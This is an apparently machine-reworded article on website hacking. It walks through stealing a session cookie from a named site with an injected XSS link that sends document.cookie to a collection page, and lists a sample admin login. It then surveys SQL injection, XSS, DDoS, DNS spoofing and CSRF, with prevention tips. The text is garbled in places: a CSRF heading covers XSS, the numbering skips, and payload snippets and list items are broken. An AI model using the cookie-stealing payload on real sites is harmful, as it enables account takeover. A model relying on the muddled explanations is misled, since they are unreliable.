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While hacking isn’t essentially a criminal offence, the term will have a significant negative connotation and you know you can hire hackers on the internet, however most if not all of the hackers for hire within any agency would lurk on the dark web as criminals.
How to hack a website.
Hackers evoke what? Possibly a computer-savvy hooded thief. That hacker learned website hacking easily. Not all website hacking is criminal!
Banks, retailers, and government agencies hire hackers to test computer security.
Website hacking is your thing. Today we’ll cover how to hack a website and cyberattack types and prevention.
Step-by-Step Website Hacking: Website hacking methods
Website hackers have many methods. He only needs to find the website’s weak point to enter and access vital information. Here are some amazing website hacking tricks.
Website hacking
Online hacking is the first way to change a website. Hacking “www.techpanda.org” will demonstrate web page hacking steps. To get admin information, we’ll read the cookie session ID and impersonate a user.
SQL Injection can bypass authentication and give us login credentials. Next:
Techpanda.org.
Password2020 is the password for admin@xyz.com.
Logging in displays the dashboard below.
dashboard
Add New Contact.
First name:
<a href=# onclick=\”document.location=\’http://techpanda.org/snatch sess id.php?c=\’+escape\(document.cookie\);\”>
Dark</a>
JavaScript adds a hyperlink with an on-click event. The event sends the PHP cookie session ID and the URL to the snatch sess id.php page when clicked.
Session impersonation
This attack requires a tamper data add-on. Firefox users frequently install Tamper Data. You can modify client-server data and GET and POSTING element data. Installing a tamper data add-on is detailed below.
Cyberattack Types
Hackers can enter a company’s cyberspace in several ways. Here are some cyberattacks.
SQL injection
Hackers inject malicious SQL queries into applications in SQL injection attacks. The query allows the hacker to read critical database data and execute unauthorized commands, compromising critical data.
Hackers can spoof identity, alter data, commit fraud, and damage company reputations with this cyberattack. PHP and ASP have old interfaces, making these attacks common. Hacker skill determines injection attack severity. Websites without adequate security can be exploited.
SQL Injection Types
Based on data access and damage, the attack has three categories. In-band SQLi (Classic), Inferential SQLi (Blind), and Out-of-band SQLi.
In-band SQLi: If the SQL is easy to hack. This SQL injection attack uses the same network channel to attack and steal data. It has two variants.
Error-based SQLi: Attacker-caused database errors. The attacker can learn the database structure for that application from the result.
Union-based SQLi: The UNION SQL operator combines multiple select statements into a single HTTP response with application information.
Inferential (Blind) SQLi: The hacker sends a lot of data to the server to see how it reacts. Thus, the attacker will study its structure. The attacker won’t see the data because it’s not transferred from the website database. This attack slows the server. Blind SQL injections have two types:
Boolean: The attacker sends a SQL query to the database and checks its output for truth. HTTP response data will also change.
Time-based: This query delays database response. The attacker examines the query response time. Time determines the HTTP response. The attacker can guess without accessing the database.
Out-of-band SQLi: This attack requires database server features. The server must be able to send DNS or HTTP requests to the attacker. Attackers use this method if other methods fail.
How Does SQL Injection Work?
The attacker may use the following SQL injection method. Attackers have several options.
Injecting SQL queries in the user input field: The hacker enters SQL queries and sends them to the database. The attacker can do anything if the database accepts input without sanitizing it.
Injecting SQL queries via cookies: The attacker uses malware to modify cookies and inject their query to access the database.
Injecting SQL queries via HTTP headers: If the application accepts header input and accesses the database, the attacker can inject the query.
SQL Injection
Impersonating another user to access the database without authentication.
Data theft for self-use.
Fraudulently altering vital data.
Data deletion harms reputation.
Fun-coding.
Rooting and running SQLs.
Preventing This Attack?
Sanitizing inputs prevents this attack by identifying unauthorized users who access critical data.
2. CSRF
Hackers steal victim data by impersonating them. XSS attacks compromise user-application interaction. This attack replicates the environment that distinguishes websites. The attacker can damage critical application data if they have privileged access.
Accessing the app or website starts the attack. The attacker executes malicious JavaScript code in the victim’s browser. The web page delivers the injected code to the user. Forums, comments, and other web pages can be injected with code.
Cross-Site Scripting Effects
User impacts:
Data theft for self-use.
Fraudulently altering vital data.
Data deletion harms reputation.
Fun-coding.
Preventing Cross-Site Scripting
Avoid this attack by following these steps.
Ensure the application form filters user input.
Securely encode output data.
Use proper response headers.
Implement content-related security.
XSS Types
Three attacks exist.
Reflected XSS Attack
Making this attack is easy. The attacker sends the code in the HTTP request and receives the data immediately.
The web browser executes the injected script when the user clicks applications HTTP requests and visits the above URL. The script retrieves, deletes, etc.
Stored XSS
This attack involves an application sending untrusted data to the server in HTTP responses.
HTTP requests can inject data. Comments, customer order contact info, etc.
e.g.
Users can post messages in the app’s comment section.
<p>
Data Greetings
The attacker can send a comment that can harm other users.
*/</script></p>
DOM-Based XSS
Client-side JavaScript processing untrusted data and writing it to the DOM causes this attack.
The JavaScript code below reads an input field and passes the value to the HTML element.
Search = document.getElementById(‘search’).value; results.
innerHTML=’You searched for:’ + search.
The attacker can execute malicious code by controlling the input field:
3. DDoS/DoS
DDoS attacks flood a server with requests, disrupting its regular traffic. They occur in networks of malware-infected devices controlled remotely by an attacker. Attackers send remote commands to bots. A bot will send a request to the target’s IP address and overwhelm the server, causing severe damage.
DDOS
DDoS Attack Types
Attackers use these DDoS types.
TCP Connection Attack: This attack takes over your load balancers, firewalls, and application servers, delaying request processing.
Volumetric Attack: Congesting application bandwidth within the target network or between the target network and the Internet.
Fragmentation Attacks: TCP or UDP fragments flood a victim’s streams, reducing performance.
Application Attacks: Overwhelms an application and reduces traffic.
DNS Reflection: The attacker forges the victim’s IP, sends a small DNS request, and sends a long reply to the user.
DDoS Effects
Server and machine effects are below.
Unnecessary IP address traffic increase.
Unexpected traffic spike from users with the same behavioral profile (device type, geolocation, etc.).
Requests to a page or endpoint can increase.
Odd-hour traffic increases.
DDoS Prevention
DDoS prevention methods are below.
Limit your web server’s router speed.
Filter suspicious packets from your router.
Force connection timeouts.
Use DDoS-resistant firewalls.
Use Akamai, Cloudflare, VeriSign, Arbor Networks, etc. DDoS mitigation software.
DNS Spoofing
DNS poisoning and spoofing exploit DNS server vulnerabilities to redirect traffic to fake servers. The victim will be redirected to a malicious website if he visited a fraudulent page. This attack primarily steals data.
This attack requires a DNS server request for an IP address. They receive a fake IP address with no connection to the client’s requested address. The malicious host returns the legitimate website without a security certificate.
DNS Spoofing Types
DNS spoofing types are below.
Router Attack
This attack alters data and adds malicious code to the local device. The victim cannot tell if their system is compromised. However, hostnames will return incorrect IP addresses. Attacks will continue until tampering is fixed. Changes to the DNS server, host file, router, etc.
DNS Response Attack
A man-in-the-middle attack where the attacker poses as a victim and sends a malicious response. DNS traffic uses unencrypted User Datagram Protocol, making this attack possible.
DNS server
DNS spoofing attacks on valid DNS servers affect many users. Poisoning the DNS cache, DNS server hijacking, etc.
DNS Spoofing Prevention
DNS Spoofing attack prevention methods:
Limit recursive queries and prevent poisoning.
Store domain-specific data.
Limit responses to the requested domain.
Require HTTPS.
5. CSRF Attack
Cross-Site Request Forgery (CSRF) attacks a web application without authorization and performs unwanted actions as expected by the attacker. The attacker coerces the victim to commit illegal acts.
If the victim is a regular user, the attacker can only transfer funds, change email addresses, etc. CSRF can affect the entire web application if the victim has administrative access.
Server state, data breach, and illegal fund transfer are the main effects.
CSRF Attacks
When a victim visits a website, the browser automatically logs them in using their saved cookies. After login, the site cannot distinguish between forged and legitimate requests. Attackers can easily impersonate victims. Attackers usually do this:
Social engineering tricks the victim into clicking a malware link.
That link will request the site.
The same user should use saved data to sign into the website.
The website fulfills the attacker’s request.
Cross-Site Request Forgery Prevention
Best practices to prevent this attack:
Always log out of logged-in web apps.
Avoid forgery with strong usernames and passwords.
Avoid using parallel browsers for critical work.
Conclusion
We only listed the most common attacks on a simple website without security. Modern technology aids attackers. They just need network communication. Security policies vary by organization and website. However, hackers can damage your system.
To protect your website, you must understand how it can be hacked and how to prevent it. Read this article to identify and eliminate website threats.
